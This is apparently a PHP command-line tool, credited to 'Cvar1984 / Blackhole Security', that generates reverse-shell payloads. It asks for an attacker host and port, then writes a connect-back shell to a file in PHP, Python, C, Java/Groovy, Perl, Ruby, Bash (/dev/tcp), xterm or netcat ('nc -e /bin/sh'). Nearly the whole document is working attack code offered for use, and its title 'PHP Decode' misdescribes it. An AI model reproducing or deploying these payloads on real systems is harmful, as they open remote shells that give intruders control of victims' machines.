PHP Decode

system("clear");
error_reporting(0);
function input($pesan){
	global $green;
	echo "$green $pesan >>> ";
}
$green="\e[92m";
$red="\e[91m";
function asciiart() {
system("clear");
echo "
 \e[93m
  ______                    ____
 /_  __/________ _____     / __ \____  ____  _____
  / / / ___/ __ `/ __ \   / / / / __ \/ __ \/ ___/
 / / / /  / /_/ / /_/ /  / /_/ / /_/ / /_/ / /
/_/ /_/   \__,_/ .___/  /_____/\____/\____/_/
              /_/";
echo "
 \e[36m
 Author  : Cvar1984
 Code    : PHP
 Github  : http://github.com/Cvar1984
 Team    : Blackhole Security
 Version : 1.0 ( Alpha )
 Date    : 22-01-2018";
}
back:
input("Host");
$host=trim(fgets(STDIN, 1024));
input("port");
$port=trim(fgets(STDIN, 1024));
input("output name");
$namafile=trim(fgets(STDIN, 1024));
menu:
asciiart();
echo "
";
echo "$red =========================== Cvar1984 ))=====(@)>
";
echo "$green";
echo " (01) PHP
";
echo " (02) Python
";
echo " (03) C#
";
echo " (04) Java
";
echo " (05) Perl
";
echo " (06) Ruby
";
echo " (07) Bash
";
echo " (08) Xterm
";
echo " (09) Netcat
";
echo " (10) Back To Menu
";
echo "$red =========================== Cvar1984 ))=====(@)> 
";
input("Chose Your Payload Script");
$pilih=trim(fgets(STDIN, 1024));
if(!in_array($pilih, array('01','02','03','04','05','06','07','08','09','10'), true)) {
echo "
 $red ( ! ) Input false ( ! ) $green
";
trim(fgets(STDIN, 1024));
goto menu;
}else {
if($pilih == "01") {
$file=("
<?
fsockopen('$host',$port); 
exec('/bin/sh -i <&3 >&3 2>&3'); 
?>");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "02") {
$file=("
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('$host',$port));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/sh','-i']);
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "03") {
$file=("
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
	daemon(1, 0);
	int sock = socket(AF_INET, SOCK_STREAM, 0);
	struct sockaddr_in serv_addr = {0};
	serv_addr.sin_family = AF_INET;
	serv_addr.sin_port = htons($port);
	serv_addr.sin_addr.s_addr = inet_addr('$host');
	if(0 != connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)))
		_exit(0);
	dup2(sock, 0);
	dup2(sock, 1);
	dup2(sock, 2);
	system('uname -a; w; id');
	execl('/bin/bash', '/bin/bash', '-i', NULL);
}
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "04") {
$file=("
r = Runtime.getRuntime()
p = r.exec(['/bin/bash','-c','exec 5<>/dev/tcp/$host/$port;cat <&5 | while read line; do \$line 2>&5 >&5; done'] as String[])
p.waitFor()
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "05") {
$file=("
use Socket; 
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')); 
if(connect(S,sockaddr_in($port,inet_aton($host)))){ 
	open(STDIN,'>&S'); 
	open(STDOUT,'>&S'); 
	open(STDERR,'>&S'); 
	exec('/bin/sh -i'); 
};
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "06") {
$file=("
f=TCPSocket.open('$host',$port).to_i; 
exec sprintf('/bin/sh -i <&%d >&%d 2>&%d',f,f,f)
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "07") {
$file=("
bash -i >& /dev/tcp/$host/$port 0>&1
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "08") {
$file=("
xterm -display $host:$port
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "09") {
$file=("
nc -e /bin/sh $host $port
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "10") {
goto back;
}
}